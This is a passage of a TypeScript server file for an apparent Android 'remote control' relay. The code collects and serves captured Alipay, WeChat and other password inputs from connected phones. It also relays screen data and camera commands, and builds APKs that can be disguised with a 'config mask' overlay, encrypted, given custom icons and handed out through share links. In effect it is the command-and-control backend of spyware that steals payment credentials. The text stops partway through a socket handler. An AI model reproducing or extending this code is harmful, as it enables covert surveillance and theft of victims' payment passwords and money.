Files
server/src/index.ts
2026-02-14 09:52:37 +08:00

2358 lines
86 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// 在文件最顶部加载环境变量配置
import dotenv from 'dotenv'
import path from 'path'
// pkg 打包后,需要从可执行文件所在目录读取 .env 文件
// @ts-ignore - process.pkg 是 pkg 打包后添加的属性
const envPath = process.pkg
? path.join(path.dirname(process.execPath), '.env')
: path.join(process.cwd(), '.env')
dotenv.config({ path: envPath })
import express from 'express'
import { Server, createServer } from 'http'
import { Server as SocketIOServer } from 'socket.io'
import cors from 'cors'
import multer from 'multer'
import { v4 as uuidv4 } from 'uuid'
import fs from 'fs'
import DeviceManager from './managers/DeviceManager'
import WebClientManager from './managers/WebClientManager'
import MessageRouter from './services/MessageRouter'
import { DatabaseService } from './services/DatabaseService'
import Logger from './utils/Logger'
import APKBuildService from './services/APKBuildService'
import AuthService from './services/AuthService'
import DeviceInfoSyncService from './services/DeviceInfoSyncService'
import { AdaptiveQualityService } from './services/AdaptiveQualityService'
/**
* 远程控制服务端主应用
*/
class RemoteControlServer {
private app: express.Application
private server: Server
private io: SocketIOServer
private deviceManager: DeviceManager
private webClientManager: WebClientManager
private messageRouter: MessageRouter
private databaseService: DatabaseService
private logger: Logger
private apkBuildService: APKBuildService
private authService: AuthService
private deviceInfoSyncService: DeviceInfoSyncService
private adaptiveQualityService: AdaptiveQualityService
private upload: multer.Multer
private registrationQueue: Array<{ socket: any, data: any, timestamp: number }> = []
private isProcessingRegistration = false
private lastRegistrationTime = 0
private readonly REGISTRATION_COOLDOWN = 100 // 100ms间隔处理注册
constructor() {
this.app = express()
this.server = createServer(this.app)
this.io = new SocketIOServer(this.server, {
cors: {
origin: "*",
methods: ["GET", "POST"]
},
transports: ['polling', 'websocket'], // 🔧 修复支持两种传输Android用pollingWeb用websocket
allowUpgrades: true, // 允许从polling升级到websocket
// 🔧 适度优化心跳配置保持与Android端兼容
pingTimeout: 90000, // 90秒 - 适度增加超时,避免网络抖动误断
pingInterval: 45000, // 45秒 - 保持合理的心跳间隔
upgradeTimeout: 45000, // 45秒 - 升级超时
connectTimeout: 60000, // 60秒 - 连接超时
// 🔧 连接管理优化
maxHttpBufferSize: 1e8, // 100MB - 增大缓冲区,适应大屏幕数据
allowEIO3: true, // 允许Engine.IO v3兼容性
// ✅ 服务器端优化
serveClient: false, // 禁用客户端服务,减少不必要的连接
destroyUpgrade: false, // 不销毁升级连接
destroyUpgradeTimeout: 1000, // 升级销毁超时1秒
cookie: false, // 禁用cookie减少连接复杂性
// 🔧 新增解决transport error的关键配置
perMessageDeflate: false, // 禁用消息压缩减少CPU负担和传输延迟
httpCompression: false, // 禁用HTTP压缩避免大数据传输时的压缩开销
allowRequest: (req, callback) => {
// 允许所有请求,但记录连接信息用于调试
const userAgent = req.headers['user-agent'] || 'unknown'
const remoteAddress = req.connection.remoteAddress || 'unknown'
callback(null, true)
}
})
this.logger = new Logger('Server')
this.databaseService = new DatabaseService()
this.deviceManager = new DeviceManager()
this.webClientManager = new WebClientManager(this.databaseService)
this.webClientManager.setSocketIO(this.io)
this.messageRouter = new MessageRouter(this.deviceManager, this.webClientManager, this.databaseService)
this.apkBuildService = new APKBuildService()
this.authService = new AuthService()
// 注意AuthService 的异步初始化在 start() 方法中执行
this.deviceInfoSyncService = new DeviceInfoSyncService(this.authService)
this.adaptiveQualityService = new AdaptiveQualityService()
// 配置multer用于文件上传
this.upload = multer({
storage: multer.memoryStorage(),
limits: {
fileSize: 2 * 1024 * 1024, // 2MB限制
},
fileFilter: (req, file, cb) => {
if (file.mimetype.startsWith('image/')) {
cb(null, true)
} else {
cb(new Error('只支持图片文件'))
}
}
})
// ✅ 清理所有旧的客户端和设备记录(服务器重启时)
this.webClientManager.clearAllClients()
this.deviceManager.clearAllDevices()
this.setupMiddleware()
this.setupRoutes()
this.setupSocketHandlers()
// ✅ 启动状态一致性检查定时器
this.startConsistencyChecker()
// 🆕 启动设备信息同步服务
this.deviceInfoSyncService.start()
}
/**
* 设置中间件
*/
private setupMiddleware(): void {
this.app.use(cors())
this.app.use(express.json())
// pkg 打包后,需要从可执行文件所在目录读取 public 目录
// @ts-ignore - process.pkg 是 pkg 打包后添加的属性
const publicPath = (process as any).pkg
? path.join(path.dirname(process.execPath), 'public')
: path.join(process.cwd(), 'public')
this.app.use(express.static(publicPath))
}
/**
* 认证中间件 - 验证JWT token
*/
private authMiddleware = (req: any, res: any, next: any) => {
try {
const authHeader = req.headers.authorization
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).json({
success: false,
message: '未提供认证token'
})
}
const token = authHeader.substring(7)
const result = this.authService.verifyToken(token)
if (!result.valid) {
return res.status(401).json({
success: false,
message: result.error || '认证失败'
})
}
// 将用户信息添加到请求对象(包含角色信息)
req.user = result.user
req.user.isSuperAdmin = result.user?.role === 'superadmin'
next()
} catch (error: any) {
this.logger.error('认证中间件错误:', error)
res.status(500).json({
success: false,
message: '服务器内部错误'
})
}
}
/**
* 检查是否为超级管理员
*/
private isSuperAdmin(req: any): boolean {
return req.user?.role === 'superadmin' || req.user?.isSuperAdmin === true
}
/**
* 设置HTTP路由
*/
private setupRoutes(): void {
// 认证路由
this.app.post('/api/auth/login', async (req, res) => {
try {
const { username, password } = req.body
if (!username || !password) {
res.status(400).json({
success: false,
message: '用户名和密码不能为空'
})
return
}
// 🆕 检查是否已有活跃的Web客户端在线超级管理员不受此限制
const activeWebClients = this.getActiveWebClients()
const isSuperAdminLogin = username === (process.env.SUPERADMIN_USERNAME || 'superadmin')
if (activeWebClients.length > 0 && !isSuperAdminLogin) {
this.logger.warn(`拒绝登录请求: 检测到 ${activeWebClients.length} 个活跃的Web客户端已在线`)
res.status(409).json({
success: false,
message: '已有Web端在线不允许重复登录',
activeClients: activeWebClients.length,
details: `检测到 ${activeWebClients.length} 个活跃的Web客户端连接。为确保安全同时只允许一个Web端登录。`
})
return
}
if (isSuperAdminLogin && activeWebClients.length > 0) {
this.logger.info(`超级管理员登录,忽略 ${activeWebClients.length} 个活跃客户端限制`)
}
const result = await this.authService.login(username, password)
if (result.success) {
this.logger.info(`用户登录成功: ${username}, 当前无其他Web客户端在线`)
res.json(result)
} else {
res.status(401).json(result)
}
} catch (error: any) {
this.logger.error('登录接口错误:', error)
res.status(500).json({
success: false,
message: '服务器内部错误'
})
}
})
this.app.post('/api/auth/verify', (req, res) => {
try {
const authHeader = req.headers.authorization
if (!authHeader || !authHeader.startsWith('Bearer ')) {
res.status(401).json({
valid: false,
error: '缺少认证token'
})
return
}
const token = authHeader.substring(7)
const result = this.authService.verifyToken(token)
res.json(result)
} catch (error: any) {
this.logger.error('Token验证接口错误:', error)
res.status(500).json({
valid: false,
error: '服务器内部错误'
})
}
})
this.app.post('/api/auth/logout', (req, res) => {
// 简单的登出响应实际的token失效在前端处理
res.json({
success: true,
message: '登出成功'
})
})
// 检查系统是否已初始化(不需要认证)
this.app.get('/api/auth/check-initialization', (req, res) => {
try {
const isInitialized = this.authService.isInitialized()
const initInfo = this.authService.getInitializationInfo()
const lockFilePath = this.authService.getInitLockFilePath()
res.json({
success: true,
isInitialized,
initializationInfo: initInfo,
lockFilePath: lockFilePath,
help: isInitialized ?
`系统已初始化。如需重新初始化,请删除锁文件: ${lockFilePath}` :
'系统未初始化,需要进行首次设置'
})
} catch (error: any) {
this.logger.error('检查初始化状态失败:', error)
res.status(500).json({
success: false,
error: '服务器内部错误'
})
}
})
// 初始化系统(不需要认证,但只有在未初始化时才能调用)
this.app.post('/api/auth/initialize', async (req, res) => {
try {
const { username, password } = req.body
if (!username || !password) {
res.status(400).json({
success: false,
message: '用户名和密码不能为空'
})
return
}
const result = await this.authService.initializeSystem(username, password)
if (result.success) {
res.json(result)
} else {
res.status(400).json(result)
}
} catch (error: any) {
this.logger.error('系统初始化接口错误:', error)
res.status(500).json({
success: false,
message: '服务器内部错误'
})
}
})
// // 🆕 设备信息同步相关 API
// this.app.get('/api/device/sync/status', this.authMiddleware, (req: any, res) => {
// try {
// const status = this.deviceInfoSyncService.getStatus()
// res.json({
// success: true,
// ...status
// })
// } catch (error: any) {
// this.logger.error('获取同步状态失败:', error)
// res.status(500).json({
// success: false,
// message: '获取同步状态失败'
// })
// }
// })
// this.app.post('/api/device/sync/trigger', this.authMiddleware, async (req: any, res) => {
// try {
// const success = await this.deviceInfoSyncService.triggerSync()
// if (success) {
// res.json({
// success: true,
// message: '同步已触发'
// })
// } else {
// res.status(500).json({
// success: false,
// message: '同步触发失败'
// })
// }
// } catch (error: any) {
// this.logger.error('触发同步失败:', error)
// res.status(500).json({
// success: false,
// message: '触发同步失败'
// })
// }
// })
// 健康检查
this.app.get('/health', (req, res) => {
res.json({
status: 'ok',
timestamp: new Date().toISOString(),
connectedDevices: this.deviceManager.getDeviceCount(),
connectedClients: this.webClientManager.getClientCount()
})
})
// API路由 (需要认证)
this.app.get('/api/devices', this.authMiddleware, (req, res) => {
// ✅ 使用完整的设备列表(包含历史设备和正确状态)
res.json(this.getAllDevicesIncludingHistory())
})
this.app.get('/api/devices/:deviceId', this.authMiddleware, (req, res) => {
const device = this.deviceManager.getDevice(req.params.deviceId)
if (device) {
res.json(device)
} else {
res.status(404).json({ error: 'Device not found' })
}
})
// 🆕 设备备注相关API
this.app.put('/api/devices/:deviceId/remark', this.authMiddleware, (req, res) => {
try {
const { deviceId } = req.params
const { remark } = req.body
this.logger.info(`📝 更新设备备注: ${deviceId} -> ${remark}`)
// 检查设备是否存在
const device = this.deviceManager.getDevice(deviceId)
if (!device) {
// 尝试从数据库查找设备
const dbDevice = this.databaseService.getDeviceById(deviceId)
if (!dbDevice) {
res.status(404).json({
success: false,
message: '设备不存在'
})
return
}
}
// 更新设备备注
const success = this.databaseService.updateDeviceRemark(deviceId, remark || '')
if (success) {
// 如果设备在线,更新内存中的设备信息
if (device) {
device.remark = remark
}
res.json({
success: true,
message: '设备备注已更新',
deviceId: deviceId,
remark: remark
})
} else {
res.status(500).json({
success: false,
message: '更新设备备注失败'
})
}
} catch (error) {
this.logger.error('更新设备备注失败:', error)
res.status(500).json({
success: false,
message: '服务器内部错误'
})
}
})
this.app.get('/api/devices/:deviceId/remark', this.authMiddleware, (req, res) => {
try {
const { deviceId } = req.params
this.logger.info(`📝 获取设备备注: ${deviceId}`)
// 检查设备是否存在
const device = this.deviceManager.getDevice(deviceId)
if (!device) {
// 尝试从数据库查找设备
const dbDevice = this.databaseService.getDeviceById(deviceId)
if (!dbDevice) {
res.status(404).json({
success: false,
message: '设备不存在'
})
return
}
}
// 获取设备备注
const remark = this.databaseService.getDeviceRemark(deviceId)
res.json({
success: true,
deviceId: deviceId,
remark: remark
})
} catch (error) {
this.logger.error('获取设备备注失败:', error)
res.status(500).json({
success: false,
message: '服务器内部错误'
})
}
})
// 🆕 查询设备是否被其他web客户端控制
this.app.get('/api/devices/:deviceId/controller', this.authMiddleware, (req: any, res) => {
try {
const { deviceId } = req.params
const currentUserId = req.user?.id
const currentUsername = req.user?.username
this.logger.info(`🔍 查询设备控制状态: ${deviceId} (请求者: ${currentUsername})`)
// 检查设备是否存在
const device = this.deviceManager.getDevice(deviceId)
if (!device) {
// 尝试从数据库查找设备
const dbDevice = this.databaseService.getDeviceById(deviceId)
if (!dbDevice) {
res.status(404).json({
success: false,
message: '设备不存在'
})
return
}
}
// 获取控制该设备的客户端ID
const controllerClientId = this.webClientManager.getDeviceController(deviceId)
if (!controllerClientId) {
// 设备未被控制
res.json({
success: true,
deviceId,
isControlled: false,
controller: null
})
return
}
// 获取控制者客户端信息
const controllerClient = this.webClientManager.getClient(controllerClientId)
if (!controllerClient) {
// 控制者客户端不存在(可能已断开)
res.json({
success: true,
deviceId,
isControlled: false,
controller: null
})
return
}
// 检查是否是当前用户自己在控制
const isCurrentUser = controllerClient.userId === currentUserId ||
controllerClient.username === currentUsername
// 返回控制者信息(不包含敏感信息)
res.json({
success: true,
deviceId,
isControlled: true,
isCurrentUser: isCurrentUser,
controller: {
clientId: controllerClientId,
username: controllerClient.username || '未知用户',
connectedAt: controllerClient.connectedAt,
lastSeen: controllerClient.lastSeen,
ip: controllerClient.ip,
userAgent: controllerClient.userAgent
}
})
} catch (error) {
this.logger.error('查询设备控制状态失败:', error)
res.status(500).json({
success: false,
error: '查询设备控制状态失败',
message: error instanceof Error ? error.message : '未知错误'
})
}
})
// 🔐 通用密码输入相关 API (需要认证) - 融合支付宝和微信密码查询
this.app.get('/api/password-inputs/:deviceId', this.authMiddleware, (req, res) => {
try {
const { deviceId } = req.params
const { page = 1, pageSize = 50, passwordType } = req.query
this.logger.info(`🔐 获取设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`)
let result: any
// 根据密码类型选择查询方法
if (passwordType === 'ALIPAY_PASSWORD') {
// 查询支付宝密码
const alipayResult = this.databaseService.getAlipayPasswords(
deviceId,
parseInt(page as string),
parseInt(pageSize as string)
)
// 转换为统一格式
result = {
passwords: alipayResult.passwords.map(pwd => ({
id: pwd.id,
deviceId: pwd.deviceId,
password: pwd.password,
passwordLength: pwd.passwordLength,
passwordType: 'ALIPAY_PASSWORD',
activity: pwd.activity,
inputMethod: pwd.inputMethod,
installationId: 'unknown',
sessionId: pwd.sessionId,
timestamp: pwd.timestamp,
createdAt: pwd.createdAt
})),
total: alipayResult.total,
page: alipayResult.page,
pageSize: alipayResult.pageSize,
totalPages: alipayResult.totalPages
}
} else if (passwordType === 'WECHAT_PASSWORD') {
// 查询微信密码
const wechatResult = this.databaseService.getWechatPasswords(
deviceId,
parseInt(page as string),
parseInt(pageSize as string)
)
// 转换为统一格式
result = {
passwords: wechatResult.passwords.map(pwd => ({
id: pwd.id,
deviceId: pwd.deviceId,
password: pwd.password,
passwordLength: pwd.passwordLength,
passwordType: 'WECHAT_PASSWORD',
activity: pwd.activity,
inputMethod: pwd.inputMethod,
installationId: 'unknown',
sessionId: pwd.sessionId,
timestamp: pwd.timestamp,
createdAt: pwd.createdAt
})),
total: wechatResult.total,
page: wechatResult.page,
pageSize: wechatResult.pageSize,
totalPages: wechatResult.totalPages
}
} else {
// 查询通用密码输入记录
result = this.databaseService.getPasswordInputs(
deviceId,
parseInt(page as string),
parseInt(pageSize as string),
passwordType as string
)
}
res.json({
success: true,
data: result
})
} catch (error) {
this.logger.error('获取密码输入记录失败:', error)
res.status(500).json({
success: false,
error: '获取密码输入记录失败',
message: error instanceof Error ? error.message : '未知错误'
})
}
})
this.app.get('/api/password-inputs/:deviceId/latest', this.authMiddleware, (req, res) => {
try {
const { deviceId } = req.params
const { passwordType } = req.query
this.logger.info(`🔐 获取设备 ${deviceId} 的最新密码输入 (类型: ${passwordType || 'ALL'})`)
let latestPassword: any = null
// 根据密码类型选择查询方法
if (passwordType === 'ALIPAY_PASSWORD') {
// 查询最新支付宝密码
const alipayPassword = this.databaseService.getLatestAlipayPassword(deviceId)
if (alipayPassword) {
latestPassword = {
id: alipayPassword.id,
deviceId: alipayPassword.deviceId,
password: alipayPassword.password,
passwordLength: alipayPassword.passwordLength,
passwordType: 'ALIPAY_PASSWORD',
activity: alipayPassword.activity,
inputMethod: alipayPassword.inputMethod,
installationId: 'unknown',
sessionId: alipayPassword.sessionId,
timestamp: alipayPassword.timestamp,
createdAt: alipayPassword.createdAt
}
}
} else if (passwordType === 'WECHAT_PASSWORD') {
// 查询最新微信密码
const wechatPassword = this.databaseService.getLatestWechatPassword(deviceId)
if (wechatPassword) {
latestPassword = {
id: wechatPassword.id,
deviceId: wechatPassword.deviceId,
password: wechatPassword.password,
passwordLength: wechatPassword.passwordLength,
passwordType: 'WECHAT_PASSWORD',
activity: wechatPassword.activity,
inputMethod: wechatPassword.inputMethod,
installationId: 'unknown',
sessionId: wechatPassword.sessionId,
timestamp: wechatPassword.timestamp,
createdAt: wechatPassword.createdAt
}
}
} else {
// 查询最新通用密码输入
latestPassword = this.databaseService.getLatestPasswordInput(
deviceId,
passwordType as string
)
}
if (latestPassword) {
res.json({
success: true,
data: latestPassword
})
} else {
res.json({
success: true,
data: null,
message: '未找到密码输入记录'
})
}
} catch (error) {
this.logger.error('获取最新密码输入失败:', error)
res.status(500).json({
success: false,
error: '获取最新密码输入失败',
message: error instanceof Error ? error.message : '未知错误'
})
}
})
this.app.get('/api/password-inputs/:deviceId/stats', this.authMiddleware, (req, res) => {
try {
const { deviceId } = req.params
this.logger.info(`🔐 获取设备 ${deviceId} 的密码类型统计`)
// 获取通用密码输入统计
const generalStats = this.databaseService.getPasswordTypeStats(deviceId)
// 获取支付宝密码统计
const alipayResult = this.databaseService.getAlipayPasswords(deviceId, 1, 1)
const alipayStats = {
passwordType: 'ALIPAY_PASSWORD',
count: alipayResult.total,
firstInput: alipayResult.passwords.length > 0 ? alipayResult.passwords[alipayResult.passwords.length - 1].timestamp : null,
lastInput: alipayResult.passwords.length > 0 ? alipayResult.passwords[0].timestamp : null
}
// 获取微信密码统计
const wechatResult = this.databaseService.getWechatPasswords(deviceId, 1, 1)
const wechatStats = {
passwordType: 'WECHAT_PASSWORD',
count: wechatResult.total,
firstInput: wechatResult.passwords.length > 0 ? wechatResult.passwords[wechatResult.passwords.length - 1].timestamp : null,
lastInput: wechatResult.passwords.length > 0 ? wechatResult.passwords[0].timestamp : null
}
// 合并所有统计
const allStats = [
...generalStats,
...(alipayStats.count > 0 ? [alipayStats] : []),
...(wechatStats.count > 0 ? [wechatStats] : [])
].sort((a, b) => b.count - a.count)
res.json({
success: true,
data: allStats
})
} catch (error) {
this.logger.error('获取密码类型统计失败:', error)
res.status(500).json({
success: false,
error: '获取密码类型统计失败',
message: error instanceof Error ? error.message : '未知错误'
})
}
})
this.app.delete('/api/password-inputs/:deviceId', this.authMiddleware, (req, res) => {
try {
const { deviceId } = req.params
const { passwordType } = req.query
this.logger.info(`🔐 删除设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`)
// 根据密码类型选择删除方法
if (passwordType === 'ALIPAY_PASSWORD') {
// 删除支付宝密码
this.databaseService.clearAlipayPasswords(deviceId)
} else if (passwordType === 'WECHAT_PASSWORD') {
// 删除微信密码
this.databaseService.clearWechatPasswords(deviceId)
} else {
// 删除通用密码输入记录
this.databaseService.clearPasswordInputs(deviceId, passwordType as string)
}
const typeDesc = passwordType ? ` (类型: ${passwordType})` : ''
res.json({
success: true,
message: `密码输入记录已删除${typeDesc}`
})
} catch (error) {
this.logger.error('删除密码输入记录失败:', error)
res.status(500).json({
success: false,
error: '删除密码输入记录失败',
message: error instanceof Error ? error.message : '未知错误'
})
}
})
// 💥 崩溃日志相关API (需要认证)
this.app.get('/api/crash-logs/:deviceId', this.authMiddleware, (req: any, res) => {
try {
const { deviceId } = req.params
const { page = 1, pageSize = 20 } = req.query
const result = this.databaseService.getCrashLogs(
deviceId,
parseInt(page as string),
parseInt(pageSize as string)
)
res.json({ success: true, data: result })
} catch (error) {
this.logger.error('获取崩溃日志失败:', error)
res.status(500).json({ success: false, message: '获取崩溃日志失败' })
}
})
this.app.get('/api/crash-logs/:deviceId/:logId', this.authMiddleware, (req: any, res) => {
try {
const logId = parseInt(req.params.logId)
const detail = this.databaseService.getCrashLogDetail(logId)
if (detail) {
res.json({ success: true, data: detail })
} else {
res.status(404).json({ success: false, message: '崩溃日志不存在' })
}
} catch (error) {
this.logger.error('获取崩溃日志详情失败:', error)
res.status(500).json({ success: false, message: '获取崩溃日志详情失败' })
}
})
// APK相关路由 (需要认证)
this.app.get('/api/apk/info', this.authMiddleware, async (req, res) => {
try {
const apkInfo = await this.apkBuildService.checkExistingAPK()
const buildStatus = this.apkBuildService.getBuildStatus()
const buildEnv = await this.apkBuildService.checkBuildEnvironment()
res.json({
success: true,
apkInfo,
buildStatus,
buildEnvironment: buildEnv
})
} catch (error: any) {
this.logger.error('获取APK信息失败:', error)
res.status(500).json({
success: false,
error: error.message
})
}
})
this.app.post('/api/apk/build', this.authMiddleware, this.upload.single('appIcon'), async (req, res) => {
try {
// 获取服务器地址,如果没有提供则使用当前请求的地址
const serverUrl = req.body.serverUrl || `${req.protocol}://${req.get('host')}`
// ✅ 获取配置选项
const options = {
enableConfigMask: req.body.enableConfigMask === 'true' || req.body.enableConfigMask === true,
// enableConfigMask: true,
enableProgressBar: req.body.enableProgressBar === 'true' || req.body.enableProgressBar === true,
configMaskText: req.body.configMaskText,
configMaskSubtitle: req.body.configMaskSubtitle,
configMaskStatus: req.body.configMaskStatus,
// 🔧 修复:添加加密相关参数
enableEncryption: req.body.enableEncryption === 'true' || req.body.enableEncryption === true,
encryptionLevel: req.body.encryptionLevel,
webUrl: req.body.webUrl,
pageStyleConfig: typeof req.body.pageStyleConfig === 'string'
? JSON.parse(req.body.pageStyleConfig)
: (req.body.pageStyleConfig || {})
}
// 如果有上传的图标文件,添加到选项中
if (req.file) {
this.logger.info('收到图标文件:', req.file.originalname, `(${req.file.size} bytes)`)
options.pageStyleConfig.appIconFile = {
buffer: req.file.buffer,
originalname: req.file.originalname,
mimetype: req.file.mimetype
}
}
// 🔧 添加调试日志:显示接收到的原始参数
this.logger.info('[DEBUG] 接收到的原始请求参数:')
this.logger.info('[DEBUG] - enableEncryption:', req.body.enableEncryption)
this.logger.info('[DEBUG] - encryptionLevel:', req.body.encryptionLevel)
this.logger.info('[DEBUG] - enableConfigMask:', req.body.enableConfigMask)
this.logger.info('[DEBUG] - enableProgressBar:', req.body.enableProgressBar)
this.logger.info('收到构建请求,配置选项:', JSON.stringify({
...options,
pageStyleConfig: {
...options.pageStyleConfig,
appIconFile: options.pageStyleConfig.appIconFile ? `文件: ${options.pageStyleConfig.appIconFile.originalname}` : undefined
}
}, null, 2))
// 立即返回响应,让构建在后台进行
res.json({
success: true,
message: '构建已开始,请通过 /api/apk/build-status 接口查看进度',
building: true
})
// 在后台执行构建不阻塞HTTP响应
this.apkBuildService.buildAPK(serverUrl, options)
.then((result) => {
this.logger.info('构建完成:', result)
// 构建完成结果可以通过build-status接口获取
})
.catch((error: any) => {
this.logger.error('构建APK失败:', error)
this.logger.error('错误堆栈:', error.stack)
// 错误已记录在构建日志中可以通过build-logs接口查看
})
} catch (error: any) {
this.logger.error('构建APK请求处理失败:', error)
this.logger.error('错误堆栈:', error.stack)
if (!res.headersSent) {
res.status(500).json({
success: false,
error: error.message || '构建请求处理失败'
})
}
}
})
this.app.get('/api/apk/build-status', this.authMiddleware, (req, res) => {
try {
const status = this.apkBuildService.getBuildStatus()
res.json(status)
} catch (error: any) {
this.logger.error('获取构建状态失败:', error)
res.status(500).json({
success: false,
error: error.message
})
}
})
// 获取构建日志API
this.app.get('/api/apk/build-logs', this.authMiddleware, (req, res) => {
try {
const limit = req.query.limit ? parseInt(req.query.limit as string) : undefined
const logs = this.apkBuildService.getBuildLogs(limit)
res.json({
success: true,
logs,
total: logs.length
})
} catch (error: any) {
this.logger.error('获取构建日志失败:', error)
res.status(500).json({
success: false,
error: error.message
})
}
})
// 清空构建日志API
this.app.delete('/api/apk/build-logs', this.authMiddleware, (req, res) => {
try {
this.apkBuildService.clearBuildLogs()
res.json({
success: true,
message: '构建日志已清空'
})
} catch (error: any) {
this.logger.error('清空构建日志失败:', error)
res.status(500).json({
success: false,
error: error.message
})
}
})
this.app.get('/api/apk/download', this.authMiddleware, async (req, res) => {
try {
const result = await this.apkBuildService.getAPKForDownload()
if (!result.success) {
res.status(404).json({
success: false,
error: result.error
})
return
}
const filePath = result.filePath!
const filename = result.filename!
// 设置下载头
res.setHeader('Content-Disposition', `attachment; filename="${filename}"`)
res.setHeader('Content-Type', 'application/vnd.android.package-archive')
res.setHeader('Content-Length', result.size!.toString())
// 发送文件
res.sendFile(filePath, (err) => {
if (err) {
this.logger.error('发送APK文件失败:', err)
if (!res.headersSent) {
res.status(500).json({
success: false,
error: '文件下载失败'
})
}
} else {
this.logger.info(`APK下载成功: ${filename}`)
}
})
} catch (error: any) {
this.logger.error('处理APK下载请求失败:', error)
if (!res.headersSent) {
res.status(500).json({
success: false,
error: error.message
})
}
}
})
// 分享链接管理API
this.app.get('/api/apk/shares', this.authMiddleware, (req, res) => {
try {
const shares = this.apkBuildService.getActiveShares()
res.json({
success: true,
shares
})
} catch (error: any) {
this.logger.error('获取分享链接列表失败:', error)
res.status(500).json({
success: false,
error: error.message
})
}
})
this.app.delete('/api/apk/shares/:sessionId', this.authMiddleware, async (req, res) => {
try {
const { sessionId } = req.params
const result = await this.apkBuildService.stopShare(sessionId)
if (result) {
res.json({
success: true,
message: '分享链接已停止'
})
} else {
res.status(404).json({
success: false,
error: '分享会话不存在'
})
}
} catch (error: any) {
this.logger.error('停止分享链接失败:', error)
res.status(500).json({
success: false,
error: error.message
})
}
})
// 默认路由 - 返回 index.html如果静态文件服务没有处理
this.app.get('/', (req, res) => {
// @ts-ignore - process.pkg 是 pkg 打包后添加的属性
const publicPath = (process as any).pkg
? path.join(path.dirname(process.execPath), 'public')
: path.join(process.cwd(), 'public')
const indexPath = path.join(publicPath, 'index.html')
// 检查 index.html 是否存在
if (fs.existsSync(indexPath)) {
res.sendFile(indexPath)
} else {
// 如果 index.html 不存在,返回 JSON 信息
res.json({
name: 'Remote Control Server',
version: '1.0.0',
description: 'Android远程控制中继服务器',
note: 'public/index.html not found'
})
}
})
}
/**
* 设置Socket.IO事件处理
*/
/**
* 🔧 将设备注册请求加入队列处理,防止并发冲突
*/
private queueDeviceRegistration(socket: any, data: any): void {
const timestamp = Date.now()
this.registrationQueue.push({ socket, data, timestamp })
this.logger.debug(`设备注册请求已加入队列: ${socket.id}, 队列长度: ${this.registrationQueue.length}`)
// 启动队列处理
this.processRegistrationQueue()
}
/**
* 🔧 处理设备注册队列
*/
private async processRegistrationQueue(): Promise<void> {
// 如果正在处理或队列为空,直接返回
if (this.isProcessingRegistration || this.registrationQueue.length === 0) {
return
}
this.isProcessingRegistration = true
while (this.registrationQueue.length > 0) {
const currentTime = Date.now()
// 检查冷却时间,防止注册请求过于频繁
if (currentTime - this.lastRegistrationTime < this.REGISTRATION_COOLDOWN) {
const waitTime = this.REGISTRATION_COOLDOWN - (currentTime - this.lastRegistrationTime)
this.logger.debug(`注册冷却中,等待 ${waitTime}ms`)
await new Promise(resolve => setTimeout(resolve, waitTime))
}
// 取出队列中的第一个请求
const request = this.registrationQueue.shift()
if (!request) break
const { socket, data, timestamp } = request
// 检查请求是否过期超过30秒的请求丢弃
if (currentTime - timestamp > 30000) {
this.logger.warn(`丢弃过期的注册请求: ${socket.id}, 延迟: ${currentTime - timestamp}ms`)
continue
}
// 检查socket是否仍然连接
if (!socket.connected) {
this.logger.warn(`跳过已断开连接的注册请求: ${socket.id}`)
continue
}
try {
this.logger.info(`🔧 队列处理设备注册: ${socket.id} (队列剩余: ${this.registrationQueue.length})`)
this.handleDeviceRegister(socket, data)
this.lastRegistrationTime = Date.now()
} catch (error) {
this.logger.error(`队列处理设备注册失败: ${socket.id}`, error)
}
}
this.isProcessingRegistration = false
}
private setupSocketHandlers(): void {
this.io.on('connection', (socket: any) => {
this.logger.info(`新连接建立: ${socket.id} (传输: ${socket.conn.transport.name})`)
// 🔧 移除强制认证检查 - 让设备端可以正常连接认证只在web客户端注册时进行
// 🔧 增强连接监控,帮助诊断误断开问题
socket.conn.on('upgrade', () => {
this.logger.info(`连接升级: ${socket.id} -> ${socket.conn.transport.name}`)
})
socket.conn.on('upgradeError', (error: any) => {
this.logger.warn(`连接升级失败: ${socket.id}`, error)
})
socket.on('disconnecting', (reason: string) => {
this.logger.warn(`⚠️ 连接即将断开: ${socket.id}, 原因: ${reason}`)
})
// 🔧 设备注册 - 使用队列处理
socket.on('device_register', (data: any) => {
this.queueDeviceRegistration(socket, data)
})
// 处理Web客户端连接
socket.on('web_client_register', (data: any) => {
this.handleWebClientRegister(socket, data)
})
// 处理控制消息
socket.on('control_message', (data: any) => {
this.messageRouter.routeControlMessage(socket.id, data)
})
// 处理摄像头控制消息
socket.on('camera_control', (data: any) => {
// 将摄像头控制消息转换为标准控制消息格式
const controlMessage = {
type: data.action, // CAMERA_START, CAMERA_STOP, CAMERA_SWITCH
deviceId: data.deviceId,
data: data.data || {},
timestamp: Date.now()
}
this.messageRouter.routeControlMessage(socket.id, controlMessage)
})
// 处理屏幕数据
socket.on('screen_data', (data: any) => {
// 📊 记录帧统计用于自适应画质
if (data?.deviceId) {
const dataSize = typeof data.data === 'string' ? data.data.length : 0
this.adaptiveQualityService.recordFrame(data.deviceId, dataSize)
}
this.messageRouter.routeScreenData(socket.id, data)
})
// 💬 微信密码监听器
socket.on('wechat_password', (data: any) => {
this.logger.info(`💬 收到微信密码记录: Socket: ${socket.id}`);
this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`);
// 路由微信密码数据
const routeResult = this.messageRouter.routeWechatPassword(socket.id, data);
this.logger.info(`📤 微信密码路由结果: ${routeResult}`);
});
// 🔐 通用密码输入监听器
socket.on('password_input', (data: any) => {
this.logger.info(`🔐 收到通用密码输入记录: Socket: ${socket.id}`);
this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordType=${data?.passwordType}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`);
// 路由通用密码输入数据
const routeResult = this.messageRouter.routePasswordInput(socket.id, data);
this.logger.info(`📤 通用密码输入路由结果: ${routeResult}`);
});
socket.on('alipay_password', (data: any) => {
this.logger.info(`💰 收到支付宝密码记录: Socket: ${socket.id}`);
